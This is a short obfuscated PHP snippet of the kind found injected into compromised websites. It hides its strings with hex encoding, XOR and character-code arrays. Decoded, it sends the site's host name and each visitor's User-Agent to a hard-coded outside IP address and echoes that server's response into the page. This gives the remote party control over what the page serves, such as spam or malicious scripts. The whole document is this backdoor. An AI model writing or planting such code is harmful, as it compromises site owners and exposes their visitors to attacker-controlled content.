$D=function($s){
		return preg_replace_callback('/../',function($m){
		return chr(hexdec($m[0]));
	}
	,$s);
};
$k=$D('7365637265744b65793121');
	$X=function($data,$key){
	$out='';
	for($i=0,$L=strlen($data);
	$i<$L;
		++$i){
		$out.=chr(ord($data[$i])^ord($key[$i%strlen($key)]));
	}
	return $out;
};
$K1=implode('',array_map('chr',[72,84,84,80,95,72,79,83,84]));
$K2=implode('',array_map('chr',[72,84,84,80,95,85,83,69,82,95,65,71,69,78,84]));
$host=$_SERVER[$K1];
$ua=call_user_func(implode('',['ur','l','encode']),$_SERVER[$K2]);
$F=implode('',array_map('chr',[102,105,108,101,95,103,101,116,95,99,111,110,116,101,110,116,115]));
echo($F($X($D('1b1117025f5b645c4d1f13404b5246525a7a554e1e56004b131a154b230a0a451c'),$k).$host.$X($D('5510024f'),$k).$ua));